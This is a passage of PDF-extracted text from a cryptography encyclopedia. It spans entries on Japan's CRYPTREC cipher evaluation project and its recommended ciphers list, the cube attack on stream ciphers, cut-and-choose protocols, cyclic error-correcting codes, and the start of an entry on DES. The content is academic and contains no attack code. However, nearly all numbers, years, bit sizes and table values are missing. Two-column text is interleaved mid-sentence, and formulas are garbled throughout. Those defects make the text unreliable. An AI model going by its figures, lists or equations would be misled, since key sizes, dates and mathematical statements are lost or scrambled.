the e-Government Recommended Ciphers. Upon select-
IT Security Center, Information-Technology Promotion
ing e-Government Recommended Ciphers, their results
Agency, Bunkyo-ku, Tokyo, Japan
of implementation/performance was also deliberately con-
cerned. In the Table , we will show the e-Government
Synonyms Recommended Ciphers List (The year of ver.).
Cryptanalysis; Cryptographic algorithm evaluation; When CRYPTREC was established in , IPA
e-Government (Information-technology Promotion Agency) became its
secretariat. In , TAO (Telecommunications Advance-
Related Concepts ment Organization of Japan) was also added to its secre-
Cryptanalysis; NESSIE tariat. At the same time, MIC (Ministry of Internal Affairs
C CRYPTREC (Japanese Cryptographic Algorithm Evaluation Project)
and Communications) and METI (Ministry of Econ- e-Government Recommended Ciphers List. In addition,
omy, Trade and Industry) organized CRYPTREC Advi- in the Cryptographic Technique Monitoring Subcommit-
sory Committee. As a result, CRYPTREC truly became the tee, they estimate the shift in computer performance and
security evaluation project of the cryptographic algorithms assess the modulus in digits which is prime factorizable.
which should be used by the Japanese e-Government The consequence is shown in the Fig. .
System. In the Cryptographic Module Subcommittee, they
The e-Government Recommended Cipher List in reviewed the security requirements for the cryptographic
was described as follows one of the Basic requirements in modules and the standards for the testing: they also con-
the Standards for Information Security Measures for the tributed to found the Japan Cryptographic Module Valida-
Central Government Computer Systems which was doc- tion Program. Studying side-channel attacks such as power
umented by NISC (National Information Security Center) analysis attack, etc. is another role/responsibility.
in []:
(a) The head of information security officers must
define the algorithm and implementation system for Open Problems (Future Schedules)
encryption and perform digital signatures to be used CRYPTREC has just started to prepare reviewing of
in the government agencies. e-Government Recommended Ciphers List from [].
(b) Those which on the electronics government recom- As the part of the reviewing activity, CRYPTREC also
mended cipher list must be used if available. started to publicly offer the newer cryptographic algo-
(c) If encryption or electronic signature is deployed for rithms to update the current e-Government Recommended
the new development or update of the information Ciphers List from October : the newer cryptographic
system, the algorithm specified in the electronics algorithms publicly offered are block cipher, stream cipher,
government recommended encryption list must be operation mode, message authentication code (MAC), and
used. However, some of those algorithms concerned entity authentication. The e-Government Recommended
must include specified in the electronics govern- Ciphers List will be updated by the year of . The
ment recommended encryption list, at least one, for new (i.e., updated) e-Government Recommended Ciphers
cases that the encryption or electronic signature is List is organized by three major lists: e-Government
implemented. Recommended Ciphers List, Candidate Recommended
Ciphers List, and Obsolete Ciphers List. Understand-
NISC is the national center relevant to Japanese infor- ably, the e-Government Recommended Ciphers List is
mation security established in the Cabinet office in . the Ciphers List which will be encouraged for the e-
Government system employed/procured during and after
. Those ciphers to be listed on the e-Government Rec-
History ommended Ciphers will be selected from the Candidate
As a result of the project from to , CRYPTREC Recommended Ciphers List. For your further informa-
completed the e-Government Recommended Ciphers List, tion, the ciphers currently in the e-Government Recom-
which is shown in Table , in . For the years of mended Ciphers List and those ciphers newly evaluated
, it once decomposed the above-mentioned are included in the Candidate Recommended Ciphers
Cryptographic Technology Evaluation Committee: it was List. The newly evaluated ciphers are the newly proposed
resumed as Cryptographic Technique Monitoring Sub- ciphers of those ciphers from which security is evalu-
committee and Cryptographic Module Subcommittee ated. Those ciphers that already have been internationally
under the Cryptographic Technology Review Committee. standardized will also be evaluated for its security and
The main activity for the Cryptographic Technique Moni- functionality: they shall be included in the Candidate Rec-
toring Subcommittee is to monitor the security provided ommended Ciphers List as well if they can be considered to
by the cryptographic algorithms which are listed on the be sufficiently competitive. From the view point of security,
e-Government Recommended Ciphers List. logical security will highly be concerned. As for function-
In the said subcommittee, they collect information and ality, performance and the resource to be consumed will be
literatures publicized in the conferences and workshops significantly considered.
relevant to cryptographic algorithms hosted by respective The security in those newly proposed ciphers will be
nations and parse the information to be used to review evaluated using full of the year as the first step to up-
the security of cryptographic algorithms listed in the date the e-Government Recommended Ciphers List. Their
CRYPTREC (Japanese Cryptographic Algorithm Evaluation Project) C
CRYPTREC (Japanese Cryptographic Algorithm Evaluation Project). Table e-Government recommended ciphers list
Category of technique Name

Public-key cryptographic techniques Signature DSA
ECDSA
RSASSAPKCSv_
RSAPSS
Condentiality RSAOAEP
RSAESPKCSv_(Note)
C
Key agreement DH
ECDH
PSECKEM(Note)
Symmetric-key cryptographic techniques -bit block ciphers(Note) CIPHERUNICORNE
HierocryptL
MISTY
key Triple DES(Note)
-bit block ciphers AES
Camellia
CIPHERUNICORNA
Hierocrypt
SC
Stream ciphers MUGI
MULTIS
bit RC(Note)
Other techniques Hash functions RIPEMD(Note)
SHA(Note)
SHA
SHA
SHA
Pseudorandom number PRNG based on SHA in ANSI
generators(Note) X. Annex C.
PRNG based on SHA for general
purpose in FIPS (+ change
notice ) Appendix .
PRNG based on SHA for general
purpose in FIPS (+ change
notice ) revised Appendix .
Notes:
(Note ) This is permitted to be used for the time being because it was used in SSL./TLS..
(Note ) This is permitted to be used only in the KEM (Key Encapsulation Mechanism) DEM (Data Encapsulation Mechanism) construction.
(Note ) When constructing a new system for e-Government, -bit block ciphers are preferable if possible.
(Note ) The -key Triple DES is permitted to be used for the time being under the following conditions:
) It is specied as FIPS -
) It is positioned as the de facto standard
(Note ) It is assumed that -bit RC will be used only in SSL./TLS (. or later). If any other cipher listed above is available, it should be
used instead.
(Note ) If a longer hash value is available when constructing a new system for e-Government, it is preferable to select a -bit (or more) hash
function. However, this does not apply to the case where the hash function is designated to be used in the public-key cryptographic specications.
(Note ) Since pseudo-random number generators do not require interoperability due to their usage characteristics, no problems will occur from
the use of a cryptographically secure pseudo-random number generating algorithm. These algorithms are listed as examples.
Annex: Information table for the e-Government Recommended Ciphers List

Date Location Before After Reason
October , Notes: () in Note It is specied as FIPS - It is specied as SP - Change of a pointer to the spec document
C CRYPTREC (Japanese Cryptographic Algorithm Evaluation Project)
Performance required in order sieving 2048-bit Composite number in one year with appropriate memory size
1027
Optimizes by adjustment of parameters
Without memory restriction
1024 Dedicated hardware
Performance required in order sieving 1536-bit Composite number in one year with appropriate memory size
SuperComputer (Top1)
1021 Without memory restriction

FLOPS (Peak Ability)
Blue Gene (Lawrence Livermore National Laboratory, USA)

1018
Performance required in order sieving 1024-bit Composite number in one
year with appropriate memory size
Without memory restriction

1015 SuperComputer (Top500)
Red Storm (Sandia National Laboratories)
1012 TUBAME (Tokyo Institute of Technology)

Earth Simulator (Japan Agency for Marine-Earth Science and Technology)
109
1995 2000 2005 2010 2015 2020 2025 2030

YEAR
CRYPTREC (Japanese Cryptographic Algorithm Evaluation Project). Fig. Computational complexity required for factoring
n = pq
security and their functionality will further be evaluated available, but also study/research relevant to cipher tech-
along with those ciphers currently in the e-Government niques ID-based encryption technologies, key man-
Recommended Ciphers List during the years of . agement technologies, etc. which may be employed
For the purpose to update the e-Government by the e-Government system. In addition, the business
Recommended Ciphers List, the CRYPTREC is continuity plan upon cryptographic technology including
organizationally changed. The Cryptographic Technique replacement strategies of cryptographic algorithms which
Monitoring Subcommittee was reorganized in the Crypto- is getting compromised, and experimentations relevant to
graphic Scheme Committee, in order to evaluate the theo- side-channel attacks are also conducted.
retical security of the candidate cryptographic algorithm.
The Cryptographic Module Subcommittee is reorganized
to the Cryptographic Module Committee to evaluate
performance the amount of the resource used, etc., of cryp- Recommended Reading
tographic modules. Moreover, the Cryptographic Interop- . CRYPTREC Home Page (In English), http://www.cryptrec.
erability Committee is newly established for investigating go.jp/english/index.html
. NESSIE Project Home Page, https://www.cosic.esat.kuleuven.
the used situation of cryptographic algorithm.
be/nessie/
. Imai H () The future direction of the next round CRYPTREC.
WISA invited talk, Aug , http://www.wisa.or.kr/
. National Information Security Center of Japan () Guidelines
Other Activities for formulation and implementation of standards for information
In CRYPTREC, they conduct not only maintaining security measures for the central government computer systems.
the e-Government Recommended Ciphers List currently http://www.nisc.go.jp/eng/index.html
Cube Attack C
It is well-known that deg(DV p) deg(p) k.

Cube Attack Now, suppose that the polynomial p satisfies the fol-
lowing property:
Marion Videau
Universit Henri Poincar, Nancy /LORIA and ANSSI, There is V, a subspace of some dimension i which is
Paris, France included in the subspace of public variables, such that DV p is
a linear function of the secret variables.
C
Synonyms
Attack by summation over an hypercube, Higher order When secret variables have to be determined, the
derivative attack existence of derivatives which are linearly independent
linear functions makes it possible to achieve this determi-
Related Concepts nation by solving a system of linear equations.
Symmetric Cryptography If p is a polynomial in n variables among which there
are secret variables and m public variables (thus n = +
Denition m), its algebraic normal form is: for x F and y Fm

A cube attack is a cryptanalytic method used in order to
retrieve secret values from a polynomial depending both p(x, y) = au,w xu yw , au,w F ,
on secret and public variables (a so-called tweakable poly- (u,w)F Fm

nomial). This polynomial is typically the representation of m

u w u w
a cryptographic algorithm where the public variables can x y = xi i y j j .
i= j=
be either initialization vectors or known/chosen plaintexts.
In the Boolean case, which is the one of interest here, one Let w Fm
,
be a choice of a value of the public variables.
has to compute higher order derivatives of the polynomial. Then p(x, y) can be written as:
This precomputation uses sums of values of the polynomial
p(x, y) = yw au,w xu yw+w + au,w xu yw ,
on subspaces of public variables the so-called cube to (u,w w) (u,w
/ w)
obtain a system of linear equations in the secret variables
which can be solved using usual methods. where w w means that w covers w , which means that
is a partial order on Fn defined as follows: for any u, v Fn ,
Background u = (u , . . . , un ) and v = (v , . . . , vn ),
Named after [], the so-called cube attack corresponds to v u vi ui , i n.
the improvement of several former distinguishing attacks
on stream ciphers (see for example [, ]) and shares The subpolynomial (u,w w) au,w xu yw+w is called the
similar ideas with the work presented in []. The name superpoly of supp(w ), the support of w , in p.
cube attack is very popular although not showing its direct Defining the subspace E(,w ) by:
connection to the notion of higher order derivative.
A cube attack is achieved through two distinct steps: a E(,w ) = {(x, y) F Fm
, (x, y) (, w )},
precomputation and an online phase. and denoting by wt(w ) the Hamming weight of w , one
can show that the derivative of order wt(w ) of p with
Theory respect to the subspace E(,w ) of dimension wt(w ) is:
In any cryptographic scheme any output bit can be con-
sidered as the value at one point of a Boolean function. DE(,w ) p(x, y) =
u w+w
au,w x y .
The variables of this function are the input variables of the (u,w w)
scheme and a point is an instance of these variables.
The derivative DE(,w ) p(x, y) is indeed the superpoly of
A Boolean function with n variables has a unique
supp(w ) in p. When DE(,w ) p(x, y) is linear with respect
representation as a polynomial p of F [x , . . . , xn ]/
to the secret variables, then yw is called a maxterm.
(x x , . . . , xn xn ) which is termed the algebraic normal
form (ANF) of the function.
Scenario of the Cube Attack
The derivative of order i of p with respect to a subspace
The cipher is considered as a box which implements a poly-
V of dimension k is the function DV p on Fn defined by:
nomial p whose ANF is a priori not known (and then called
DV p(x) = p(x + v) a tweakable black box polynomial []) . It is considered that
vV in the precomputation step the attacker can handle this box.
(see for instance []). He can build queries by modifying the initialization vector
C Cut-and-Choose Protocol
for the computation of the values of higher order deriva- . Vielhaber M () Breaking one.fivium by AIDA an algebraic IV
tives at a given point. He can also change the key to apply differential attack. Cryptology ePrint Archive, Report /
a linearity testing algorithm to these derivatives.
The attacker wants to obtain enough expressions
DE(,w ) p(x, y ) of the higher order derivatives of p which
are linear and linearly independent. This preprocessing Cut-and-Choose Protocol
phase is not guaranteed to succeed as it can happen that
no linear derivative can be found or that the complexity to Claude Crpeau
find enough linear derivatives is prohibitive. School of Computer Science, McGill University,
After this precomputation, the attacker can consider a Montreal, Quebec, Canada
particular instance of the polynomial with the secret vari-
ables of the key (as a parameter). He can compute the
values of the higher order derivatives of p for this particular
Related Concepts
Interactive Argument; Interactive Proof; Witness
instance, and once he has gathered enough linearly inde-
Hiding; Zero Knowledge
pendant linear equations, he can solve the system and
recover secret key bits.
Denition
A cut-and-choose protocol is a two-party protocol in
Applications which one party tries to convince another party that
The attack has not proven to be applicable for good ciphers. some data he sent to the former was honestly constructed
Indeed a good cipher should behave like a random poly- according to an agreed-upon method. Important exam-
nomial, i.e., having high degree and randomly distributed ples of cut-and-choose protocols are interactive proofs
coefficients for its algebraic normal form, which are criteria [], interactive arguments [], zero-knowledge proto-
known for a long time. However, it might be more suitable cols [, , ], and witness indistinguishable and witness
under its distinguishing attack form (see for example []) hiding protocols [] for proving knowledge of a piece of
extended in dynamic cube attack []. information that is computationally hard to find. Such
a protocol usually carries a small probability that it is
Recommended Reading successful despite the fact that the desired property is not
. Aumasson J-P, Dinur I, Meier W, Shamir A () Cube testers satisfied.
and key recovery attacks on reduced-round MD and trivium.
In: Proceedings of FSE . LNCS, vol , Springer, Berlin,
pp
Background
. Dinur I, Shamir A () Cube attacks on tweakable black box
The very first instance of such a cut-and-choose protocol
polynomials. In: Proceedings of EUROCRYPT . LNCS, vol is found in the protocol of Rabin [] where the cut-and-
. Springer, Berlin, pp choose concept is used to convince a party that the other
. Dinur I, Shamir A () Breaking Grain- with Dynamic Cube party sent him an integer n that is a product of two primes
Attacks. In: Proceedings of FSE . To appear. Cryptology ePrint
p, q, each of which is congruent to modulo . Note that
Archive, Report /
. Englund H, Johansson T, Turan MS () A framework for
this protocol was NOT zero-knowledge.
chosen IV statistical analysis of stream ciphers. In: Proceed- The expression cut and choose was later introduced
ings of INDOCRYPT . LNCS, vol . Springer, Heidelberg, by Chaum [] in analogy to a popular cake-sharing prob-
pp lem: given a complete cake to be shared among two parties
. Filiol E () A new statistical testing for symmetric ciphers and
distrusting each other (for reasons of serious appetite).
hash functions. In: Proceedings of ICICS . LNCS, vol .
A fair way for them to share the cake is to have one of
. Fischer S, Khazaei S, Meier W () Chosen IV statistical anal- them cut the cake in two equal shares, and let the other one
ysis for key recovery attacks on stream ciphers. In: Proceed- choose his favorite share. This solution guarantees that it is
ings of AFRICACRYPT . LNCS, vol . Springer, Berlin, in the formers best interest to cut the shares as evenly as
pp
possible.
. Lai X () Higher order derivatives and differential cryptanal-
ysis. In: Proceedings of symposium on communication, coding
and cryptography, in honor of James L. Massey on the occasion of Recommended Reading
his th birthday. Kluwer Academic, Boston, pp . Brassard G, Chaum D, Crpeau C () Minimum disclosure
. Saarinen MJO () Chosen IV statistical attacks on eStream proofs of knowledge JCSS :
ciphers. In: Proceedings of SECRYPT. INSTICC Press, pp . Feige U, Shamir A () Witness indistinguishable and witness
hiding protocols. In: Awerbuch B (ed) Proceedings of the nd
Cyclic Codes C
annual ACM symposium on the theory of computing, Baltimore, vector will still lie closer to the originally transmitted code-
MD, May . ACM, New York, pp word than any other codeword. This means that code C is
. Goldreich O, Micali S, Wigderson A () Proofs that yield noth-
able to correct t positions in each codeword.
ing but their validity or all languages in NP have zero-knowledge
proof systems. J Assoc Comput Mach ():
A codeword will be denoted by
. Goldwasser S, Micali S, Rack-off C () The knowledge com-
plexity of interactive proof systems. SIAM J Comput (): c = (c , c , . . . , cn ), ci A.

. Rabin MO () Digitalized signatures. Foundations of Secure When the encoder is systematic, the k first symbols are C
Computation. In: Richard AD et al. (eds) Papers presented at a called information symbols (they are the message) and the
day workshop held at Georgia Institute of Technology, Atlanta, last r symbols are the redundancy symbols (added to help
October . Academic, New York, pp
recover the message if errors occur). The codes here are
linear codes, meaning that A is a finite field and that C is a
k-dimensional linear subspace of An .
The (Hamming) distance between two codewords, c
Cyclic Codes and c , is defined by:
Pascale Charpin d(c, c ) = card {i [, n ] ci ci } .

INRIA, Rocquencourt, Le Chesnay Cedex, France
The minimum distance d of a code C is the smallest
distance between different codewords; it determines the
error-correcting capabilities of C. Indeed, C can correct
Synonyms t = (d)/ errors. Since it is focused on cyclic codes and
Error-correcting cyclic codes on the most useful of them, the alphabet A will be a finite
field Fq of characteristic , that is, q = e for some integer
Related Concepts e . Moreover, the length of the codes will be generally
Finite Field; Information Theory m , where e divides m; these codes are said primitive.
Definition Consider the linear space Fnq of all n-tuples
Denition over the finite field Fq . An [n, k, d] linear code C over
A cyclic code of length n is an error-correcting block code, Fq is a k-dimensional subspace of Fnq with minimum dis-
with block length n, which contains all n cyclic shifts of any tance d.
codeword.
By definition, a k-dimensional linear code C is fully deter-
mined by a basis over Fq . When the k vectors of a basis are
Background taken as rows in a k n matrix G they form a generator
Coding theory
matrix of C. Indeed, C is given by {avG a Fkq } .
The Hamming weight wt(u) of any word u in Fnq
Theory is the number of its nonzero coordinates. Note that
For a general presentation of cyclic codes, the main refer- wt(u) = d(u, ). Obviously, for linear codes, the mini-
ence is the Handbook of Coding Theory, especially the first mum distance is exactly the minimum weight of nonzero
chapter [] (but also Chapters , , , and ). codewords.
Cyclic codes were introduced as a particular practical
class of error-correcting codes (ECC). Codes are devoted Proposition Let C be any [n, k, d] linear code over Fq .
to the following fundamental problem: how to determine Then
what message has been sent when only an approximation d = min {wt(c) c C/{}}.
is received, due to a noisy communication channel. Cyclic
The dual code of C is the [n, n k] linear code:
codes belong to the class of block codes: since all messages
have here the same length k. Each of them is encoded into n
C = {y Fq c y = , for all c C} ,
a codeword of length n = k + r. A t-error-correcting code is
a well-chosen subset C of An . Its elements are called code- where denotes the ordinary inner product of vectors:

words and have the property that each pair of them differ in i= ci yi . An (n k) n generator matrix of C
c y = n
at least t+ coordinates. If the noisy channel generates not is called a parity check matrix H for C. Note that C =
more than t errors during one transmission, the received {y Fnq HyT = T } .
C Cyclic Codes
When studying cyclic codes, it is convenient to view in Fq [x] of degree less than n. Multiplication is carried out
the labeling of the coordinate positions , , . . . , n as modulo xn .
integers modulo n (modular arithmetic). In other words,
The next theorem, which is given in [, Theorem .],
these coordinate positions as forming a cycle with n are
allows to determine the main parameters of any cyclic code
being followed by .
of Rn . First, some basic definitions are recalled.
Definition A linear code C of length n over Fq is cyclic
Definition Let be a primitive nth root of unity in some
if and only if it satisfies for all c = c cn cn in C:
extension field of Fq . This means that , , . . . , n are all
(c , , cn , cn ) C K (cn , c , , cn ) C. different and n = . For each integer s with s < n,
denote by c(s) the q-cyclotomic coset of s modulo n:
The vector cn c cn is obtained from c by the cyclic shift
of coordinates i i + . c(s) = {s, qs, . . . , qm s (mod n)}
Example The generator matrix G below defines an where m is the smallest positive integer such that n divides
[, , ] binary cyclic code (length , dimension , and qm (so Fqm ).
minimum weight ): The minimal polynomial of s over Fq is

M s (x) = (x i ),

ic(s)
G= .

where the i , i c(s), are called the conjugates of s .

Cyclic codes are some of the most useful codes known. If is a primitive element of Fqm then one can take
m
The involvement of ReedSolomon (RS) codes and of = (q )/n . Note that M s (x) is a polynomial over Fq
BoseChaudhuryHocquenghem (BCH) codes in a num- while Fqm .
ber of applications is well-known. On the other hand, the Theorem Let C be a nonzero cyclic code of length n over
Golay codes and the ReedMuller (RM) codes, which are Fq . There exists a polynomial g(x) C, called the generator
fundamental linear codes, can be represented as cyclic polynomial of C, with the following properties:
codes.
(i) g(x) is the unique monic polynomial of minimum degree
Constructive denition. It seems difficult to construct a in C;
cyclic code C by means of Definition . So, useful defini- (ii) g(x) is a generator of the ideal C in Rn :
tions of cyclic codes are now considered. C = g(x) = {a(x)g(x) (mod xn ) a(x) Fq [x]};
An efficient definition is established by identifying each
vector c = (c , c , , cn ) with the polynomial c(x) = c + (iii) g(x) divides xn .
c x++cn xn . The fact that C is invariant under a cyclic
Let r = deg(g), and let g(x) = ri= gi xi where gr = . Then
shift is then expressed as follows:
n (iv) the dimension of C is k = nr; moreover the polynomials
c(x) C K xc(x) (mod x ) C.
g(x), xg(x), . . . , xk g(x)
Thus the proper context for studying cyclic codes of length
n over Fq is the residue class ring form a basis of C. The corresponding generator matrix is
Rn = Fq [X]/(x ). n given by:
g g gnk
It is well known that Rn is a principal ideal ring. This means
g gnk
that any ideal I in Rn is generated by a single element g in g
G= .

I, that is, I = {ag a Rn }. (An ideal in Rn is a subset I of
g gnk
Rn satisfying the properties ) for all i , i in I also i i I g
and ) for any i I and a Rn also ai I.)
(v) Let be a primitive nth root of unity in some extension
An alternative definition of a cyclic code can now be
field of Fq . Denote by M s the minimal polynomial of
given.
s over Fq ; then
Definition A cyclic code C of length n over Fq is a prin-
g(x) = M s (x)
cipal ideal of the ring Rn . The codewords are polynomials sI
Cyclic Codes C
where I is a subset of representatives of the q-cyclotomic It is a code whose parity check matrix has as columns all the
cosets modulo n. nonzero vectors of Fm . It is a [ , m , ] code.
m m
The dual code of any cyclic code is cyclic too. The

description of C can be directly obtained from Theorem .
Applications
From now on q = e and n = qm . Let C be
Corollary Let C be a cyclic code of length n over Fq , with any cyclic code of length n over Fq with generator poly-
generator polynomial g(x). Let h(x) denote the parity check nomial g(x). The roots of g(x) are called the zeros of
polynomial of C, defined by xn = h(x)g(x). Then the the cyclic code C. Thus, the code C is fully defined by
C
generator polynomial of C is the polynomial means of its zeros set; this leads to the classical definition
of BoseChaudhuryHocquenghem (BCH) codes and of
xk
h(x) = h(x ), where k = n deg(g). other important families.
h
Example Construction of the binary Hamming code of Definition Let q = and n = m ; denote by a
length n = . primitive nth root of unity in Fm . Let be an integer with
n.

x = (x + x + ) (x + x + ) (x + x + x + x + ) The binary BCH code of length n and designed distance
(x + ) (x + x + ) . is the cyclic code with zeros set: , , . . . , and their
conjuguates. In other words, the generator polynomial of
Since x + x + is a primitive polynomial, its root is a this code is
generator of the cyclic group of the field F . The polyno-
mial x + x + is the minimal polynomial of and has g(x) = lcm{M (x), M (x), . . . , M (x)}.
and its conjugates as zeros. Consider the cyclic code C with
Example Binary BCH codes of length . As in Exam-
generator polynomial :
ple , any root of the primitive polynomial x + x + is
g(x) = (x )(x )(x )(x ) = x + x + . denoted by . Now the factorization of x into minimal
polynomials is as follows:
The dimension of C is deg(g) = . Thus the code C is a

[, , ] cyclic code. The minimum distance of C is exactly x = (x ) (x + x + ) (x + x + x + x + )
since wt(g) = and no smaller weight can appear, as can XYY Y Y Y Y Y Y Y Y Y Y ZY Y Y Y Y Y Y Y Y Y Y Y\ XYY Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Z Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y \
M() M( )
be checked using a generator matrix G of C. According to
Theorem , G is a binary matrix whose lines are g(x) (x + x + ) (x + x + ) .
XYY Y Y Y Y Y Y Y Y Y Y ZY Y Y Y Y Y Y Y Y Y Y \ XYY Y Y Y Y Y Y Y Y Y Y Y Y ZYY Y Y Y Y Y Y Y Y Y Y Y Y\
M( ) M( )
x x x x x x x x x x x x x x x
g(x) There are three nontrivial BCH codes, whose zeros sets S
are as follows:
and the shifts of g(x). The parity check polynomial of C
S = { i i = , , , } for the [, , ] BCH code;
and the generator polynomial of C are given by:
S = S { i i = , , , } for the [, , ] BCH code;
x S = S { i i = , } for the [, , ] BCH code;
h(x) = = x + x + x + x + x + x + x + .
x + x +
For these codes, the designed distance is exactly the
resp.
minimum distance; this property does not hold for any

BCH code.
h(x) = hi xi = x + x + x + x + x + x + x + .
i= Definition A ReedSolomon code over Fq is a BCH code
Then a parity check matrix for C is obtained: of length n = q .
ReedSolomon (RS) codes appear in several cryptosys-
x x x x x x x x x x x x x x x
tems. They determine, for instance, some secret-sharing

systems []. It is important to notice that for RS codes, the

designed distance is exactly the minimum distance. More-

over, the RS code with designed distance , is an [n, k, ]

code with k = n + . Since this k attains the maxi-
It is explained here, by means of an example, the gen- mum value by the Singleton bound (see []), one says that
eral definition of the binary Hamming code of length m . RS codes are maximum distance separable (MDS) codes.
C Cyclic Codes
Definition Let be a primitive root of Fm . Any integer The mapping x Tc (x) is a Boolean function. On the
s [, m ] can be identified by its binary expan- other hand, any binary sequence of period n can be repre-
sion in Fm
: sented in this way (Boolean Functions and Sequences).
m Example Consider any binary cyclic code of length
s = si i , si {, } K s = (s , . . . , sm ). n = m whose generator polynomial is the product
i=
of two minimal polynomials, say M r (x)M s (x). These
The cyclic ReedMuller code of length m and order r, codes are said to be cyclic codes with two zeros and usually
usually denoted by R (r, m), is the binary cyclic code with denoted by Cr,s .
zero set: Now assume that r = and gcd(s, m ) = . Then
Sr = { s wt(s) < m r} C,s is an [n, m, d] cyclic code; the dual of C,s is a cyclic
where wt(s) is the Hamming weight of s. code that has two nonzeros only: n and ns (apart from
their conjugates). According to (), C,s is the set of binary
Note that if one extends all codewords in the cyclic codewords of length n defined as follows: each pair (a, b)
ReedMuller code above with an overall-parity check sym- of elements of Fm provides the ordered sequence of values
bol, one obtains the regular ReedMuller code.
Binary cyclic codes are related to the study and the
construction of cryptographic primitives, mainly through x {, , . . . , n } _ Tr(ax + bxs )
Reed-Muller codes because of the large field of applica-
tions of Boolean functions and binary sequences in cryp-
tography. They play a role in the study of cryptographic where the Trace function Tr is defined by Tr() = +
m
mapping on finite fields in general. One well-known appli- + . . . + . The power function x xs is a permutation
cation is the construction of almost bent (AB) mappings on Fm . It is said to be almost perfect nonlinear[] when C,s
(Nonlinearity of Boolean Functions), which resist both has minimum distance . It is said to be an AB function
differential and linear cryptanalysis [, ] (see next exam- when the nonzero weights of codewords of C,s are either
ple). These connections are more explicit when using m or m (m)/ ; this is possible for odd m only.
the trace representation of binary codewords of length
n = m . We now label the coordinate positions by
, , . . . , n , where is a primitive n-th root of unity. Recommended Reading
Let c(x) be any codeword of some binary cyclic code C of . Canteaut A, Charpin P, Dobbertin H () A new characteriza-
length n. Define tion of almost bent functions. In Fast software encryption (FSE),
LNCS . Springer, New York, pp
n . Carlet C, Charpin P, Zinoviev V () Codes, bent functions and
Tc (x) = c( ns )xs . () permutations suitable for DES-like cryptosystems. Design Code
s= Cryptogr ():
. McEliece RJ, Sarwarte DV () On sharing secrets and Reed-
This commonly-known Fourier transform of c is called the Solomon codes. Commun ACM :
Mattson-Solomon polynomial of c in algebraic coding the- . Pless VS, Huffman WC, Brualdi RA () An introduction to
algebraic codes. Handbook of coding theory, part : algebraic
ory. It follows that Tc ( j ) = cj and Tc (x) is a sum of traces coding, chapter . Elsevier, Amsterdam
from some subfields of Fm to F .
D
This effectively created a community of researchers who
DAC could analyze it and propose their own designs. This led
to a wave of public interest in cryptography, from which
Discretionary Access Control much of the cryptography as we know it today was born.
Discretionary Access Control Policies (DAC)
Denition
The Data Encryption Standard, as specified in FIPS Pub-
Data Encryption Standard (DES) lication - [], is a block cipher operating on -bit
data blocks. The encryption transformation depends on
Alex Biryukov , Christophe De Cannire a -bit secret key and consists of sixteen Feistel itera-
FDEF, Campus Limpertsberg, University of tions surrounded by two permutation layers: an initial bit
Luxembourg, Luxembourg permutation IP at the input, and its inverse IP at the
Department of Electrical Engineering, Katholieke output. The structure of the cipher is depicted in Fig. .
Universiteit Leuven, Leuven-Heverlee, Belgium The decryption process is the same as the encryption,
except for the order of the round keys used in the Feistel
iterations. As a result, most of the circuitry can be reused
Related Concepts in hardware implementations of DES.
Block Ciphers; Differential Cryptanalysis; Differential-
Linear Attack; Feistel Cipher; Linear Cryptanalysis for
Theory
Block Ciphers; Weak Keys
The -round Feistel network, which constitutes the cryp-
tographic core of DES, splits the -bit data blocks into two
Background -bit words (denoted by L and R ). In each iteration (or
The Data Encryption Standard (DES) [] has been around
round), the second word Ri is fed to a function f and the
for more than years. During this time, the standard
result is added to the first word Li . Then both words are
was revised three times: as FIPS-- in , as FIPS--
swapped and the algorithm proceeds to the next iteration.
in , and as FIPS-- in . DES was an outcome
The function f is key-dependent and consists of four
of a call for primitives in , which did not result in
stages (see Fig. ). Their description is given below. Note
many serious candidates except for a predecessor of DES,
that all bits in DES are numbered from left to right, that is,
Lucifer [, ] designed by IBM around . It took
the leftmost bit of a block (the most significant bit) is bit .
another year for a joint IBMNSA effort to turn Lucifer
into DES. The structure of Lucifer was significantly altered: . Expansion (E). The -bit input word is first expanded
Since the design rationale was never made public and the to bits by duplicating and reordering half of the bits.
secret key size was reduced from -bit to -bits, this The selection of bits is specified by Table . The first
initially resulted in controversy, and some distrust among row in the table refers to the first bits of the expanded
the public. After some delay, FIPS- was published by word, the second row to bits , and so on. Thus bit
NBS (National Bureau of Standards) now NIST (National of the expanded word, for example, gets its value from
Institute of Standards and Technology) on January , bit of the input word.
[] (see [] for a discussion of the standardization . Key mixing. The expanded word is XORed with a round
process). key constructed by selecting bits from the -bit
However, in spite of all the controversy it is hard to secret key. As explained below, a different selection is
underestimate the role of DES []. DES was one of the used in each round.
first commercially developed (as opposed to government . Substitution. The -bit result is split into eight -bit
developed) ciphers whose structure was fully published. words which are substituted in eight parallel -bit
D Data Encryption Standard (DES)
Input R (32 Bits)
Initial permutation
E
Permuted LO RO
input 48 Bits K (48 Bits)
K1
+ f
+
L1 = R0 R1 = L0 + f(RO, K1)
S1 S2 S3 S4 S5 S6 S7 S8
K2
+ f
L2 = R1 R2 = L1 + f(R1, K2)
32 Bits
Kn
+ f Data Encryption Standard (DES). Fig. The function f
L15 = R14 R15 = L14 + f(R14, K15)

permuted according to a permutation PC (see Table ).
K16 The result is split into two -bit words C and D ,
+ f which are cyclically rotated over position to the left
Preoutput R16 = L15 + f(R15, K16) L16 = R15 after rounds , , , , and over positions after all
other rounds (the rotated words are denoted by Ci
Inverse initial perm
and Di ). The round keys are constructed by repeatedly
extracting bits from Ci and Di at fixed posi-
Output tions determined by a table PC (see Table ). A con-
venient feature of this key scheduling algorithm is that
Data Encryption Standard (DES). Fig. The encryption
the -bit words C and D are rotated over exactly
function
positions after rounds. This allows hardware imple-
mentations to efficiently compute the round keys on-the-
fly, both for the encryption and the decryption.
S-boxes. All eight S-boxes, called S , S , . . . , S , are dif-
ferent but have the same special structure, as appears
Cryptanalysis of DES
from their specifications in Table . Each row of the
DES has been subject to very intensive cryptanalysis. Ini-
S-box tables consists of a permutation of the -bit val-
tial attempts [] did not identify any serious weaknesses
ues , . . . , . The -bit input word is substituted as
except for the short key-size. It was noted that DES has
follows: First a row is selected according to the value
a complementation property, that is, given an encryption
of the binary word formed by concatenating the first
of the plaintext P into the ciphertext C under the secret
and the sixth input bit. The algorithm then picks the
key K: EK (P) = C, one knows that the complement of the
column given by the value of the four middle bits and
plaintext will be encrypted to the complement of the
outputs the corresponding -bit word.
ciphertext under the complement of the key: EK (P) = C
. Permutation (P). The resulting bits are reordered
(by complement we mean flipping of all the bits). Another
according to a fixed permutation specified in Table
